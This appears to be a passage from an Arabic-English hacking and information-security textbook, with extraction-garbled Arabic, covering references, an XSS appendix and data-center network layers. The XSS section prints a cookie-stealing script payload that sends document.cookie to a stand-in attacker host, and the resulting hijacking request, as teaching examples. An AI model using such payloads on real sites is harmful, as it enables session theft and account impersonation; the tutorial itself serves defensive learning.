،ُ‫ه‬‫غلب‬ َ ‫العطش‬ ‫لكن‬ ..‫َعد‬‫ت‬‫قاب‬ ،!‫ع‬‫ز‬َ‫ف‬َ‫ق‬ .!‫املاء‬ ‫يف‬ ‫بنفسه‬ ‫قألقى‬ ‫العطش‬ ُ‫ه‬‫غلب‬ ‫أن‬ ‫لىل‬ ..‫قال‬ ‫الكلب‬ ‫ذذا‬ ‫من‬ ُ ‫قتعلمت‬ ‫رص‬ ‫وأكثر‬ ،‫نا‬‫ك‬‫معار‬ ‫أكثر‬ ‫أن‬ .. !!‫نا‬ُ‫م‬‫أوذا‬ ‫ذي‬ ‫نا‬‫ق‬‫ُماو‬ ‫وأكثر‬ ،‫نا‬‫اعات‬ .!‫ها‬ُ‫ق‬ِّ‫ُصد‬‫ن‬‫و‬ ‫الواقع‬ ‫عىل‬ ‫ها‬ُ‫ط‬‫ُسق‬‫ن‬ ‫م‬ُ‫ث‬ ‫ها‬ُ‫ق‬ُ‫ل‬‫نخ‬ .!‫باإلعياء‬ ‫نا‬ُ‫ب‬‫ُصي‬‫ت‬ ‫التي‬ ‫ذي‬ ..‫نا‬ُ‫ب‬‫ُتع‬‫ت‬ ‫التي‬ ‫ذي‬ ‫ف‬‫املخاو‬ ‫ذذه‬ ..‫للنجاح‬ ‫الثانية‬ ‫اخلوارزمية‬ ‫ذي‬ ‫وذذه‬
  • 421.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [421] ‫بة‬‫ر‬‫َج‬‫ت‬‫ال‬ َ‫ن‬‫م‬ ‫َف‬ َ ‫خت‬ ‫ال‬ ..‫َف‬ َ ‫خت‬ ‫وال‬ ‫ل‬‫أقب‬ ،! ‫يف‬ ‫صعبة‬ ‫تبدو‬ ‫األمور‬ ‫عظم‬ُ‫م‬ ‫ر‬َ‫ظ‬ّ‫ن‬‫ال‬ ‫م‬ُ‫ث‬ ،‫وبات‬ُ‫ع‬ ُ ‫الص‬ ‫عىل‬ ‫ب‬ُّ‫ل‬َ‫غ‬َ‫ت‬‫ال‬ ‫ن‬‫مك‬ُ‫ي‬ ‫كمه‬‫واحل‬ ‫الشجاعة‬ ‫ببعض‬ ‫بالتحيل‬ ‫لكن‬ ،‫بدايتها‬ .!‫ليه‬َ‫ي‬ ‫الذي‬ ‫لىل‬ ‫انتقل‬ ‫م‬ُ‫ث‬ ،!‫به‬ ‫واقرح‬ ،‫به‬ ‫احتفل‬ ،ً‫ا‬‫دق‬َ‫ذ‬ َ ‫ققت‬ َ‫ح‬ ‫ُلام‬‫ك‬ ..‫وذكذا‬ ،‫وراءذا‬ ‫ما‬ ‫لىل‬ ،‫ة‬َ‫د‬ِّ‫تعد‬ُ‫م‬‫و‬ ‫كثرية‬ ‫جاح‬‫الن‬ ‫الت‬َ‫د‬‫عا‬ُ‫م‬ .‫ها‬‫ت‬ َ ‫راس‬‫ود‬ ‫ها‬‫ت‬َ‫ق‬‫عر‬َ‫م‬ ‫من‬ ‫واألقضل‬ .!ً‫ال‬‫أو‬ ‫نها‬‫م‬ ُ‫ه‬‫َعرق‬‫ن‬ ‫ما‬ ‫َطبيق‬‫ت‬ ‫ذو‬ . .‫اخلوارزميتني‬ ‫اتني‬‫ِب‬ ‫نكتفي‬ َ ‫س‬ ‫ذا‬‫وهل‬
  • 422.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [422] ..‫ِّئك‬‫ن‬‫ذ‬ُ‫أ‬ ‫أن‬ ُ ‫ب‬‫ح‬ُ‫أ‬ ..‫تعاىل‬ ‫اهلل‬ ‫مد‬َ‫ح‬‫ب‬ ‫الكتاب‬ ‫ذذا‬ ‫اية‬‫هن‬ ‫لىل‬ َ ‫صلت‬َ‫و‬ ‫لقد‬ ..‫لعجابك‬ َ ‫نال‬ ‫قد‬ ‫يكون‬ ‫أن‬ ‫أمتنى‬
  • 423.
  • 424.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [424] References Books: Ref (1) Hacking, the art of exploitation (2nd Edition). Ref (2) Computer Networking, a top-down approach (Sixth Edition). Ref (3) The Shellcoders Handbook. Ref (4) Practical Malware Analysis. Ref (5) Practical Packet Analysis (2nd Edition). Ref (6) Grayhat Hacking (3rd Edition). Ref (7) Cryptography and Network Security (Fifth Edition). Ref (8) Sybex CISSP Studygide (3rd Edition). Ref (9) Sybex CISA Studyguide (2nd Edition). Ref (10) The Practice of network security monitoring – Nostarch press Websites: www.wikipedia.com www.stackoverflow.com
  • 425.
  • 426.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [426] ‫ال‬ َ ‫َرب‬‫ت‬‫ع‬ُ‫ي‬ XSS ‫ال‬ ‫أشكال‬ ‫من‬ ‫شكل‬ Injection Attacks . ‫ال‬ ‫بتعريف‬ ‫نقوم‬ injection exploits ‫ال‬ ‫طاصية‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬ ‫التي‬ ‫الثغرات‬ ‫أهنا‬ ‫عىل‬ input ‫ال‬ ‫أو‬ data entry ‫لدطال‬ ‫ليتم‬ ‫ال‬ ‫لدطال‬ ‫من‬ ً‫ال‬‫بد‬ ‫كود‬ data ‫املطلوب‬ ‫ة‬ ‫ال‬ ‫ذذه‬ ‫لوظيفة‬ ‫ختريب‬ ‫أو‬ ‫تغيري‬ ‫بذلك‬ ‫ُج‬‫ت‬‫قين‬ ، operation . ‫ال‬ ‫أمثلة‬ ‫من‬ injection attacks :‫ماييل‬ SQL injection, DOM injection, & XSS ‫ال‬ ‫ماذذا‬ XSS ‫؟‬.. Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user's browser.
  • 427.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [427] ‫ذذا؟‬ ‫يتم‬ ‫كيف‬ ‫ال‬ ‫يقوم‬ ‫ال‬ Attacker ‫باطرتاق‬ user ‫ال‬ ‫يف‬ ‫ثغرة‬ ‫باستغالل‬ ‫يقوم‬ ‫بينام‬ ،!‫بعينه‬ Website ‫ال‬ ‫سيقوم‬ ‫الذي‬ user .‫بزيارته‬ ‫ال‬ ‫يستخدم‬ ‫حينها‬ Attacker ‫كأدا‬ ‫ع‬‫املوق‬ ‫ذذا‬ ‫ة‬ ‫ال‬ ‫توصيل‬‫ل‬ malicious code ‫ال‬ ‫لىل‬ user .‫املوقع‬ ‫ح‬‫يتصف‬ ‫الذي‬ ‫ال‬ ‫ويتعامل‬ browser ‫بال‬ ‫اخلاص‬ user ‫ال‬ ‫مع‬ malicious code .!‫مشبوه‬ ‫كود‬ ‫أنه‬ ‫ظ‬‫الح‬ُ‫ي‬ ‫وال‬ ‫املوقع‬ ‫من‬ ‫جزء‬ ُ‫ه‬‫أن‬ ‫عىل‬ ‫التع‬ ‫ذو‬ ‫ذذا‬ ‫ال‬ ‫من‬ ‫نوع‬ ‫ألول‬ ‫الشهري‬ ‫ريف‬ XSS ‫ال‬ ‫وذو‬ ، " Persistent XSS ،" .‫اجلاقا‬ ‫ة‬َ‫غ‬ُ‫ل‬‫ب‬ ‫الكود‬ ‫ذذا‬ ‫كتابة‬ ‫يتم‬ ً‫ا‬‫وغالب‬ ‫ال‬ ‫يقوم‬ ‫كيف‬ Attacker ‫بعمل‬ inject ‫ال‬ ‫هلذا‬ code ‫املوقع؟‬ ‫صفحات‬ ‫داطل‬ ‫ال‬ ‫أنواع‬ ‫من‬ ‫نوع‬ ‫أي‬ ‫عىل‬ ‫حيتوي‬ ‫ع‬‫املوق‬ َ‫كان‬ ‫لذا‬ ‫حالة‬ ‫يف‬ “user inputs” . ‫صفحات‬ ‫أحد‬ ‫أن‬ ‫نفرض‬‫ل‬ ‫عىل‬ ‫حتتوي‬ ‫ما‬ ٍ‫ع‬‫موق‬ Script ‫سيكون‬ ،‫تعليق‬ ‫آطر‬ ً‫ا‬‫وحتديد‬ ،‫ار‬‫الزو‬ ‫تعليقات‬ ‫عرض‬ ُ‫ه‬‫وظيفت‬ ‫ال‬ ‫ذذا‬ ‫شكل‬ Script :‫ييل‬ ‫كام‬ ‫ال‬ ‫ذذا‬ Script ‫بعمل‬ ‫سيقوم‬ access ‫ال‬ ‫لىل‬ Data Base ‫يعرضه‬ ‫م‬ُ‫ث‬ ‫تعليق‬ ‫آطر‬ ‫منها‬ ‫يلتقط‬‫ل‬ ،‫ار‬‫الزو‬ ‫بتعليقات‬ ‫اخلاصة‬ ‫الشاش‬ ‫عىل‬ ‫ة‬ .‫ستخدمني‬ُ‫للم‬
  • 428.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [428] ‫يستغ‬ ‫كيف‬ ‫ال‬ ‫ل‬ Attacker ‫ال‬ ‫ذذا‬ Script ‫؟‬‫به‬ ‫اخلاص‬ ‫الكود‬ ‫إلدراج‬ ‫ال‬ ‫َرب‬‫ت‬‫ع‬َ‫ي‬ َ ‫س‬ Attacker ‫يف‬ ‫ختزينه‬ ‫سيتم‬ ‫الكود‬ ‫ذذا‬ ،‫كود‬ ‫بإرسال‬ ‫سيقوم‬ ‫تعليق‬ ‫لرسال‬ ‫من‬ ً‫ال‬‫بد‬ ‫ثم‬ ،‫ار‬‫الزو‬ ‫أحد‬ ‫نفسه‬ ‫البيانات‬ ‫قاعدة‬ “db” ‫ألي‬ )‫(الكود‬ ‫األطري‬ ‫التعليق‬ ‫ذذا‬ ‫عرض‬ ‫يتم‬ ‫م‬ُ‫ث‬ ، user .‫الصفحة‬ ‫ذذه‬ ‫يفتح‬ ‫ُش‬‫ن‬‫ل‬ ‫أي‬ ‫سيتلقاه‬ ‫ما‬ ‫د‬‫اذ‬ user .‫الكود‬ ‫لرسال‬ ‫بعد‬ ‫ال‬ ‫بني‬ ‫التي‬ ‫النقاط‬ Tags <Script></Script> ‫ال‬ ‫عن‬ ِّ ‫رب‬َ‫ع‬ُ‫ت‬ malicious code ‫وظيفته‬ ‫تكون‬ ‫ربام‬ ‫الكود‬ ‫ذذا‬ ، ‫ال‬ ‫لىل‬ ‫الوصول‬ Cookie ‫ال‬ ‫ِبذا‬ ‫اخلاصة‬ user ‫ال‬ ‫لىل‬ ‫لرساهلا‬ ‫م‬ُ‫ث‬ ‫ونسخها‬ Attacker . ‫رتتب‬ُ‫مل‬‫ا‬ ‫اآلثار‬ ‫بعض‬ ‫ة‬ ‫وقوع‬ ‫عىل‬ ‫ضحي‬ ‫أحدذم‬ ‫ة‬ ‫لل‬ malicious code . 1 - ‫ال‬ ‫ة‬َ‫ق‬ َ ‫ِس‬ Cookies ‫ال‬ ‫يقوم‬ Attacker ‫األمر‬ ً‫ا‬‫مستخدم‬ ‫كود‬ ‫بتضمني‬ document.cookie ‫ال‬ ‫أحد‬ ‫يف‬ input forums ‫ِبذا‬ ‫قيتمكن‬ ، ‫ال‬ ‫عىل‬ ‫احلصول‬ cookie .‫الصفحة‬ ‫هلذه‬ ‫زائر‬ ‫بأي‬ ‫اخلاصة‬ 2 - ‫ال‬ ‫طريق‬ ‫عن‬ ‫املرور‬ ‫كلامت‬ ‫ِسقة‬ Keylogging . ‫ال‬ ‫يقوم‬ attacker ‫رع‬ َ‫ز‬‫ب‬ ‫نا‬ُ‫ذ‬ keyboard event listener ‫األمر‬ ‫باستخدام‬ addEventListener ‫ال‬ ‫لىل‬ ‫بالكيبورد‬ ‫كتابته‬ ‫مايتم‬ ‫لرسال‬ ‫ليتم‬ Server ‫بال‬ ‫اخلاص‬ Attacker .
  • 429.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [429] XSS Attack types: Persistent XSS where the malicious string originates from the website's database. Reflected XSS where the malicious string originates from the victim's request. DOM-based XSS where the vulnerability is in the client-side code rather than Server-side code. Persistent XSS :‫اهلجوم‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫تنفيذ‬ ‫ططوات‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬
  • 430.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [430] ( 1 ) ‫ال‬ ‫يقوم‬ attacker ‫ال‬ ‫أحد‬ ‫باستغالل‬ input forums ‫بإدطال‬ ‫يقوم‬‫ل‬ ‫املوقع‬ ‫يف‬ malicious string ‫عن‬ ‫لليه‬ ‫طريق‬ Post method . ‫ال‬ ‫ماذذا‬ Post method ‫؟‬.. ‫ال‬ ‫بتعريف‬ ‫نقوم‬ ‫البداية‬ ‫يف‬ HTTP ‫لدطول‬ ‫بوابتك‬ ‫د‬َ‫ع‬ُ‫ي‬ ‫الذي‬ ‫األسايس‬ ‫الربوتوكول‬ ‫أنه‬ ‫عىل‬ ‫ال‬ WWW . ‫ذذا‬ ‫يستخدم‬ ‫الت‬ ‫عملية‬ ‫يف‬ ‫ثابت‬ ‫نظام‬ ‫الربوتوكول‬ ‫ال‬ ‫بني‬ ‫واصل‬ clients ‫وال‬ server ‫ال‬ ‫وذي‬ ، “Message based system” ُ ‫حيث‬ ، ‫ال‬ ‫قيها‬ ‫يقوم‬ client ‫بإرسال‬ request ‫ال‬ ‫ويقوم‬ ، server ‫عليه‬ ‫د‬‫بالر‬ response ‫ال‬ ‫أشهر‬ ‫من‬ . methods ‫يتعامل‬ ‫التي‬ ‫ال‬ َ‫ذي‬ ‫الربوتوكول‬ ‫ذذا‬ ‫ِبا‬ Get ‫وال‬ ، Post .
  • 431.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [431] ‫ال‬ ‫م‬َ‫َخد‬‫ت‬‫ُس‬‫ت‬ Get ‫ال‬ ‫يقوم‬ ‫عندما‬ client ‫بطل‬ ‫ب‬ resource ‫ال‬ ‫من‬ ‫بعينه‬ server ، (Retrieve a resource) ‫بينام‬ ، ‫ال‬ ‫م‬َ‫ُستخد‬‫ت‬ Post ‫بعمل‬ ‫لتقوم‬ Action ..‫ما‬ (to perform action) ‫ال‬ ‫لعملية‬ ‫مثال‬ post ‫عىل‬ ‫بالضغط‬ ‫قيامك‬ ، send ‫ملئ‬ ‫بعد‬ ً‫ال‬‫مث‬ forum .‫بحث‬ ‫عملية‬ ‫لجراء‬ ‫أثناء‬ ‫أو‬ ‫ما‬ ( 2 ) ‫أي‬ ‫يقوم‬ user ‫م‬ ‫الصفحة‬ ‫ذذه‬ ‫بطلب‬ ‫نا‬ُ‫ذ‬ ‫عشوائي‬ ‫استخدام‬ ‫الحظ‬ ،‫املوقع‬ ‫ن‬ Get method . ( 3 ) ‫بعمل‬ ‫املوقع‬ ‫يقوم‬ Response ‫لل‬ victim ‫ال‬ ‫وِبا‬ ‫الصفحة‬ ‫بإرسال‬ malicious string ‫ال‬ ‫قام‬ ‫التي‬ attacker ‫بإدطاهلا‬ ‫الرقم‬ ‫الحظ‬ .‫األوىل‬ ‫اخلطوة‬ ‫يف‬ ‫البيانات‬ ‫قاعدة‬ ‫لىل‬ 200 ‫ال‬ ‫يف‬ response :‫ماييل‬ ‫يعني‬ ‫وذو‬ it means that the request was successful, and that the requested resource is being returned. ( 4 ) ‫ال‬ ‫يقوم‬ victim’s browser ‫ال‬ ‫بتنفيذ‬ malicious code ‫ال‬ ‫لنسخ‬ ‫كود‬ ‫عن‬ ‫عبارة‬ ‫وذو‬ Session cookie ‫بال‬ ‫اخلاص‬ victim ‫لىل‬ ‫ولرساله‬ Server ‫ال‬ ‫ُص‬‫خي‬ attacker . ‫ال‬ ‫سيستفيده‬ ‫ومالذي‬ attacker ‫ال‬ ‫ذذا‬ ‫أطذ‬ ‫بعد‬ Session cookie ‫؟‬.. ‫ال‬ ‫ذذا‬ َ‫و‬ُ‫ذ‬ ُ‫ه‬‫أن‬ ‫عىل‬ ‫املوقع‬ ‫ذذا‬ ‫مع‬ ‫بالتعامل‬ ‫بعدذا‬ ‫سيقوم‬ victim ‫ال‬ ‫ذذا‬ ‫شخصية‬ ‫انتحال‬ ‫من‬ ‫سيتمكن‬ ‫أنه‬ ‫أي‬ ، user . ‫ال‬ ‫ثغرات‬ ‫من‬ ‫األول‬ ‫النوع‬ ‫قهمنا‬ ‫لقد‬ XSS . ‫املوضوع‬ ‫ذذا‬ ‫نختم‬ ‫وبه‬ ‫الثاين‬ ‫النوع‬ ‫لتوضيح‬ ‫سننتقل‬
  • 432.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [432] Reflected XSS ‫كتاب‬ ‫من‬ ‫مثال‬ ‫ماييل‬ the web application hacker’s handbook ‫لك‬ ُ‫ه‬‫اطرتت‬ . ( 1 ) ‫ال‬ ‫يقوم‬ user ‫بعمل‬ Login ‫ال‬ ‫ألحد‬ web applications ‫ال‬ ‫عىل‬ ‫ل‬ ُ ‫وحيص‬ ،‫اإلنرتنت‬ ‫عىل‬ “Session Token” ‫اخلاص‬ ‫ة‬ .‫العملية‬ ‫ِبذه‬ ‫ال‬ ‫وماذذا‬ Session token ‫؟‬.. ‫ال‬ ‫بروتوكول‬ ‫أن‬ ‫قبل‬ ‫من‬ ‫ذكرنا‬ HTTP ‫د‬َ‫ع‬ُ‫ي‬ Stateless protocol ‫ال‬ ‫عىل‬ ‫ويعتمد‬ ، request-response model ‫ُل‬‫ك‬‫ق‬ . request ‫و‬ response ‫م‬ُ‫ذ‬‫َرب‬‫ت‬‫ع‬َ‫ي‬ “independent transaction”
  • 433.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [433] ‫ال‬ ‫يملك‬ ‫ال‬ ‫وبالتايل‬ HTTP ‫أو‬ ‫طريقة‬ mechanism ‫ال‬ ‫من‬ ‫سلسلة‬ ‫بربط‬ ‫ليقوم‬ requests ‫ب‬ ‫اخلاصة‬ user .!‫بعينه‬ ‫ال‬ ‫طدمة‬ ‫لك‬ ‫ُقدم‬‫ت‬ ‫أهنا‬ ‫ستجد‬ ،‫اآلن‬ ‫االنرتنت‬ ‫مواقع‬ ‫لىل‬ ‫وبالنظر‬ login ‫وطدمة‬ ، ‫ذذه‬ ‫تقوم‬ ً‫ا‬‫وأيض‬ ،‫اإللكرتوين‬ ‫الرشاء‬ ‫املاضي‬ ‫الزيارات‬ ‫يف‬ ‫لدهيم‬ ‫ه‬‫ب‬ َ ‫مت‬ُ‫ق‬‫ما‬ ‫ُّر‬‫ك‬َ‫َذ‬‫ت‬‫ب‬ ‫املواقع‬ ‫ة‬ . ‫األمر؟‬ ‫ِبذا‬ ‫املواقع‬ ‫تقوم‬ ‫قكيف‬ ‫عليه‬ ‫ق‬‫ُطل‬‫ن‬ ‫مبدأ‬ ‫تطبيق‬ ‫املواقع‬ ‫ذذه‬ ‫َحتاج‬‫ت‬ َ ‫س‬ ،‫اخلدمات‬ ‫ذذه‬ ‫من‬ ٍ ‫أي‬ ‫لتحقيق‬ “Session” . ‫ال‬ ‫وجود‬ ‫عدم‬ ‫أن‬ ‫الحظ‬ Session ‫ال‬ ‫عملية‬ ‫سيجعل‬ login ‫كل‬ ‫أو‬ ‫صفحة‬ ‫كل‬ ‫يف‬ ‫تتكرر‬ ً‫ال‬‫مث‬ request .!‫جديد‬ ‫ال‬ ‫ذذه‬ ‫وظيفة‬ ‫قام‬ Session ‫؟‬ً‫ا‬‫لذ‬ ‫ال‬ ‫يقوم‬ ‫أن‬ ‫بعد‬ user ‫بفتح‬ ‫املوقع‬ ‫يقوم‬ ،‫الدطول‬ ‫بتسجيل‬ Session ‫ال‬ ‫هلذا‬ user ‫ال‬ ‫بقية‬ ‫مع‬ ‫يتعامل‬ ‫م‬ُ‫ث‬ ، requests ‫التي‬ ‫ال‬ ‫ذذه‬ ‫داطل‬ ‫تتم‬ session ‫ال‬ ‫ذذا‬ ‫ع‬َ‫ب‬‫تت‬ ‫أهنا‬ ‫عىل‬ user . ‫ر‬ُ‫ي‬ ‫وبالتايل‬ ‫ال‬ ‫سلسلة‬ ‫أن‬ ‫من‬ ‫ُّد‬‫ك‬‫التأ‬ ‫املوقع‬ ‫يد‬ requests ‫ال‬ ‫ذذا‬ ‫من‬ ‫قادمة‬ ‫ذذه‬ user ‫وذذا‬ .‫غريه‬ ‫أحد‬ ‫وليس‬ ،!ً‫ا‬‫حتديد‬ ‫ال‬ ‫باستخدام‬ ‫يتم‬ ‫ُّد‬‫ك‬‫التأ‬ “Session Token” ‫ال‬ ‫ذذا‬ ‫قام‬ Token ‫؟‬.. ‫ُل‬‫ك‬‫ل‬ user ‫يفتح‬ session ‫ى‬‫سم‬ُ‫ي‬ ‫عشوائي‬ ‫رقم‬ ‫لعطاؤه‬ ‫يتم‬ ،‫املوقع‬ ‫مع‬ Session ID ‫أو‬ Token ‫يب‬ ‫وعندما‬ ، ‫ال‬ ‫ذذا‬ ‫دأ‬ user ‫بإرسال‬ request ‫ال‬ ‫ذذا‬ ‫بتضمني‬ ‫قيقوم‬ ‫أطرى‬ ‫صفحة‬‫ل‬ ‫االنتقال‬ ‫أو‬ ‫جديد‬ ID ‫ال‬ ‫يف‬ request ‫حينها‬ ‫قيتمكن‬ ، ‫ال‬ ‫ذذا‬ ‫ربط‬ ‫من‬ ‫املوقع‬ request ‫ال‬ ‫ذذا‬ ‫من‬ ‫ق‬ُّ‫ق‬‫التح‬ ‫ثم‬ ‫ومن‬ ،‫قبله‬ ‫بالذي‬ user .
  • 434.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [434] ( 2 ) ‫ال‬ ‫يقوم‬ Attacker ‫داطل‬ ‫كود‬ ‫بإرسال‬ ‫نا‬ُ‫ذ‬ “message error” ‫ال‬ ‫أمام‬ ‫يظهر‬ victim ‫يف‬ ‫تدقيق‬ ‫دون‬ ‫عليه‬ ‫قيضغط‬ ‫لل‬ ‫مايظهر‬ ‫عىل‬ ‫مثال‬ ‫ذذا‬ .!‫معناه‬ user : ‫عن‬ ‫عبارة‬ ‫الكود‬ ‫ذذا‬ request ‫ال‬ ‫سيطلبه‬ victim ‫ال‬ ‫املوقع‬ ‫له‬ ‫ل‬‫رس‬ُ‫ي‬ ‫بأن‬ ‫املوقع‬ ‫من‬ cookie ‫ال‬ ‫أو‬ Session ID ‫ال‬ ‫لىل‬ ‫حتويله‬ ‫ويتم‬ ،‫به‬ ‫اخلاص‬ server ‫بال‬ ‫اخلاص‬ attacker :‫كامييل‬ . http://website.net/error/5/Error.ashx?message=<script>var+i=new+Image; +i.src=”http://serverattacker.net/”%2bdocument.cookie;</script> ( 3 ) ‫ال‬ ‫يبدأ‬ user ‫ال‬ ‫بإرسال‬ request ‫أطالقي‬ ‫الغري‬ ( 4 ) ‫ال‬ ‫عىل‬ ‫بالرد‬ ‫املوقع‬ ‫يقوم‬ victim ‫ال‬ ‫بإرسال‬ session ID .‫لليه‬ ( 5 ) ‫ال‬ ‫يبدأ‬ victim’s browser ‫ال‬ ‫بتنفيذ‬ javascript code :‫التايل‬ <script>var+i=new+Image;+i.src=”http://serverattacker.net/”%2bdocument .cookie;</script>
  • 435.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [435] ( 6 ) ‫ال‬ ‫ل‬‫رس‬ُ‫ي‬ victim ‫ال‬ Session ID ‫ال‬ ‫لىل‬ Attacker ‫عمل‬ ‫طريق‬ ‫عن‬ request ‫ال‬ ‫لىل‬ server ‫بال‬ ‫اخلاص‬ attacker ، ‫ال‬ ‫ذذا‬ request ‫ال‬ ‫ن‬‫يتضم‬ Session Token ‫اخل‬ ‫بال‬ ‫اصة‬ victim . ‫ال‬ ‫هلذا‬ ‫شكل‬ ‫ماييل‬ request : ‫ال‬ ‫الحظ‬ session id GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1 Host: serverattacker.net ( 7 ) ‫ال‬ ‫يستخدم‬ attacker ‫ال‬ ‫ذذا‬ session id ‫ال‬ ‫شخصية‬ ً‫ال‬‫نتح‬ُ‫م‬ ‫املوقع‬ ‫مع‬ ‫ويتعامل‬ victim . Appendix (B) Spine & Leaf Architecture Vs Traditional Data Center Architecture
  • 436.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [436] ‫ال‬ ‫تكنولوجيا‬ ‫انتشار‬ ‫مع‬ Virtualization ‫وال‬ Cloud Computing ‫وال‬ ، Distributed Cloud ‫ال‬ ‫تكنولوجيا‬ َ ‫ثل‬‫م‬ Hadoop ‫ال‬ ‫بيئة‬ ‫يف‬ Data Center ‫ا‬ ‫الُسعات‬ ‫ولىل‬ ‫قومات‬ُ‫مل‬‫ا‬ ‫من‬ ‫ملزيد‬ ‫الفعلية‬ ‫احلاجة‬ ‫بدأت‬ .. ‫البيانات‬ ‫نقل‬ ‫يف‬ ‫لعالية‬ ‫ال‬ ‫ثبت‬ُ‫ي‬ ‫مل‬ ‫والتي‬ Traditional Architecture ،!‫ِبا‬ ‫الكفاءة‬ ‫البتكار‬ ‫احلاجة‬ ‫قبدأت‬ Architecture ‫أو‬ Model ‫احلاج‬ ‫قكانت‬ .‫الوقت‬ ‫نفس‬ ‫يف‬ ‫ر‬‫وق‬ُ‫م‬‫و‬ ‫جديد‬ ‫ة‬ ‫لظهور‬ Architecture ‫التقليدي‬ ‫النظام‬ ‫ل‬ َ‫حم‬ ‫يحل‬‫ل‬ ‫ديد‬ َ‫ج‬ “Three-Tier Networking Model” . ‫ا‬ ‫ذذا‬ ‫ما‬ ‫ل‬ “Hadoop” ،‫؟‬..ً‫ال‬‫أو‬ ‫ل‬ ‫سنحتاج‬ ‫ملاذا‬ ‫أقهم‬ ‫كي‬ Network Architecture !‫معه‬ ‫ل‬ُ‫م‬‫التعا‬ ‫من‬ ‫ن‬‫َمك‬‫ت‬َ‫ن‬‫ل‬ ‫جديد‬ . ‫ال‬ ‫ح‬ َ ‫رش‬‫ب‬ ُ ‫ت‬‫م‬ُ‫ق‬ Hadoop ،‫األطري‬ ‫ق‬َ‫لح‬ُ‫مل‬‫ا‬ ‫يف‬ Appendix (C) ، ‫تستطيع‬ .‫ئت‬‫ش‬ ‫لن‬ ‫لليه‬ ‫اإلنتقال‬ ‫ال‬ ‫ذذا‬ ‫وما‬ “Three-Tier Networking Model” ‫؟‬.. ..‫ذو‬ ‫ذا‬
  • 437.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [437] Core Layer Core Layer is considered as the back bone of networks, The Core Layer routers move information on the network as fast as possible. Core Layer consists of biggest, fastest, and most expensive routers with the highest model numbers. Aggregation Layer The purpose of this layer is to provide boundary definition by implementing access lists and other filters. Therefore the Distribution Layer defines policy for the network. Distribution Layer includes layer 3 switches. it ensures that packets are properly routed between subnets and VLANs in the enterprise.
  • 438.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security [438] Access Layer Access layer switches ensures that packets are delivered to the end devices, It includes Access Switches which are connected to the end devices (Computers, and Servers). ‫من‬ ‫نوعني‬ ‫بتوضيح‬ ‫سنقوم‬ ‫ال‬ Patterns Traffic ‫ال‬ ‫يف‬ ‫عليهم‬ ‫تعارف‬ُ‫مل‬‫ا‬ Data Center . :‫األول‬ ‫النوع‬ South Traffic - North ‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ Traffic ً‫ا‬‫أيض‬ ‫عليه‬ ‫ق‬‫ُطل‬‫ن‬ “Client-Server Traffic” . Traffic between Data Center and any thing else outside, (Traffic that travels in and out of the data center). ‫األمثل‬ ‫بعض‬ ‫ذذه‬ ‫ة‬ ..‫عليه‬ ‫ال‬ Traffic ‫بال‬ ‫اخلاص‬ HTTP/HTTPs ‫ال‬ ‫أو‬ ، Exchange ‫ال‬ ‫أو‬ ، SharePoint . ‫ال‬ ‫أن‬ ‫يتضح‬ Network Model ‫األنواع‬ ‫ذذه‬ ‫مثل‬ ‫مع‬ ‫التعامل‬ ‫يف‬ ‫جيدة‬ ‫كفاءة‬ ‫ثبت‬ُ‫ي‬ ‫باألعىل‬ ‫عنه‬ ‫تكلمنا‬ ‫الذي‬ ‫ال‬ ‫من‬ Traffic ‫ال‬ ‫بني‬ ‫األغلب‬ ‫يف‬ ‫تكون‬ ‫التي‬ Remote Clients ‫وال‬ Servers ‫ال‬ ‫بداطل‬ Data Center . ‫ذذا‬ ‫ال‬ Network Model ‫ال‬ ‫مبدأ‬ ‫عىل‬ ‫بني‬َ‫م‬ Redundancy ‫نقول‬ ‫كام‬ ‫أو‬ ‫طلل‬ ‫أي‬ ‫حدوث‬ ‫حالة‬ ‫يف‬ ‫واحلامية‬ : “Resiliency against any failure” . ‫ال‬ ‫تفعيل‬ ‫طريق‬ ‫عن‬ ‫وذلك‬ Spanning Tree Protocol . ‫ل‬ ‫ب‬‫ج‬ َ‫ح‬ 